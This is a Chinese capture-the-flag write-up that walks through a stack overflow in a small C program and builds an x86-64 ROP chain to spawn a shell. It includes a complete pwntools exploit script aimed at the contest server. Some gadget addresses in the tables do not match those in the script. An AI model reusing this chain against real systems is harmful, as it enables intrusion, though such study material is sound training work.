# ROP-EZROP(b33f adv_pwn)
{%hackmd M1bgOPoiQbmM0JRHWaYA1g %}
> Author:堇姬
## 確認保護

開NX沒辦法寫shellcode,另外他開了canary,但其實沒開(沒有check canary的判斷式)

如果有開會有這個

## source code
read的buffer overflow一樣給好給滿
```c
#include <stdio.h>
int main(){
char buf[0x40];
setvbuf(stdin,0,_IONBF,0);
setvbuf(stdout,0,_IONBF,0);
printf("Give me your overflow: ");
read(0,buf,0x400); // oops!
return 0;
}
```
基本上應該是要直接堆ROP
所以我們看看堆出execve需要甚麼吧
- execve('/bin/sh')
|暫存器|值|
|---|----|
|rax|0x3b|
|rdi|要執行的參數值(/bin/sh)|
|rsi|argv(這裡=0)|
|rdx|envp(這裡=0)|
先找看看有沒有pop register;ret之類的可以控這些register
ROPgadget找位置
|暫存器|位置|
|---|----|
|pop rax ;ret|0x42e3a7|
|pop rdi ;ret|0x402540|
|pop rsi ;ret|0x4126a3|
|pop rdx ; pop rbx ; ret|0x47b917|
|syscall|0x401c54|
目前發現所有register都是可控的
但是我們必須找到一段可以寫入`/bin/sh`的地方,所以我們可以嘗試用這種gadget
```
mov QWORD PTR [register1], register2;ret
```
他會把`register2`的值寫入到`register1`所存值得記憶體位置
|暫存器|位置|
|---|----|
|mov qword ptr [rsi], rdx ; ret|0x487e8a|
目前看到data段0x4c5000~0x4c8000可寫,所以嘗試去找看起來沒用到的memory

`0x4c50e0`看起來沒東西,嘗試寫到那。

stack狀況
```
AAAAAA(0x48個蓋buf跟old rbp)
pop rdx ; pop rbx
/bin/sh\x00
0
pop rsi
0x4c50e0
mov qword ptr [rsi], rdx ; ret
```
目前狀況run起來用gdb下b在main最後的ret看看
```python=
from pwn import *
context.arch='amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
tst=input()
if tst==1:
r=remote('chall.nckuctf.org', 10007)
else:
r=process("./rop")
write_binsh={
"pop_rdx_addr":0x485a8b,
"pop_rdx_value":b'/bin/sh\x00',
"pop_rbx_value":0,
"pop_rsi_addr":0x409f0e,
"pop_rsi_value":0x4c50e0,
"mov":0x487e8a
}
writebinsh_payload=flat(write_binsh["pop_rdx_addr"],
write_binsh["pop_rdx_value"],
write_binsh["pop_rbx_value"],
write_binsh["pop_rsi_addr"],
write_binsh['pop_rsi_value'],
write_binsh["mov"]
)
gdb.attach(r,"b *0x00000000004017f2")
r.sendlineafter(b'Give me your overflow: ',b'a'*0x48+writebinsh_payload)
r.interactive()
```
已經成功把`/bin/sh`寫到`0x4c50e0`

接下來開始堆參數
|暫存器|位置|要蓋的值|
|---|----|----|
|pop rax ;ret|0x44fd07|0x3b|
|pop rdi ;ret|0x401e9f|0x4c50e0|
|pop rsi ;ret|0x409f0e|0|
|pop rdx ; pop rbx ; ret|0x485a8b|0 0|
|syscall|0x401c54|無|
stack狀況
```
AAAAAA(0x48個蓋buf跟old rbp)
pop rdx ; pop rbx
/bin/sh\x00
0
pop rsi
0x4c50e0
mov qword ptr [rsi], rdx ; ret
pop rax
0x3b
pop rdi
0x4c50e0
pop rsi
0
pop rdx ; pop rbx
0
0
syscall
```
這樣就成功堆出execve了
## Solve Script
```python=
from pwn import *
context.arch='amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
tst=input()
if tst=='1':
r=remote('chall.nckuctf.org', 10007)
else:
r=process("./rop")
write_binsh={
"pop_rdx_addr":0x485a8b,
"pop_rdx_value":b'/bin/sh\x00',
"pop_rbx_value":0,
"pop_rsi_addr":0x409f0e,
"pop_rsi_value":0x4c50e0,
"mov":0x487e8a
}
writebinsh_payload=flat(write_binsh["pop_rdx_addr"],
write_binsh["pop_rdx_value"],
write_binsh["pop_rbx_value"],
write_binsh["pop_rsi_addr"],
write_binsh['pop_rsi_value'],
write_binsh["mov"]
)
ROPvar={
'pop_rax_ret':0x44fd07,
'pop_rdi_ret':0x401e9f,
'pop_rsi_ret':0x409f0e,
'pop_rdx_rbx_ret':0x485a8b,
'syscall':0x401c54
}
STACKvar={
'rax_var':0x3b,
'rdi_var':0x4c50e0,
'rsi_var':0,
'rdx_var':0,
'rbx_var':0
}
ROP_payload=flat(ROPvar['pop_rax_ret'],
STACKvar['rax_var'],
ROPvar['pop_rdi_ret'],
STACKvar['rdi_var'],
ROPvar['pop_rsi_ret'],
STACKvar['rsi_var'],
ROPvar['pop_rdx_rbx_ret'],
STACKvar['rdx_var'],
STACKvar['rbx_var'],
ROPvar['syscall'])
if tst!='1':
gdb.attach(r,"b *0x00000000004017f2")
r.sendlineafter(b'Give me your overflow: ',b'a'*0x48+writebinsh_payload+ROP_payload)
r.interactive()
```
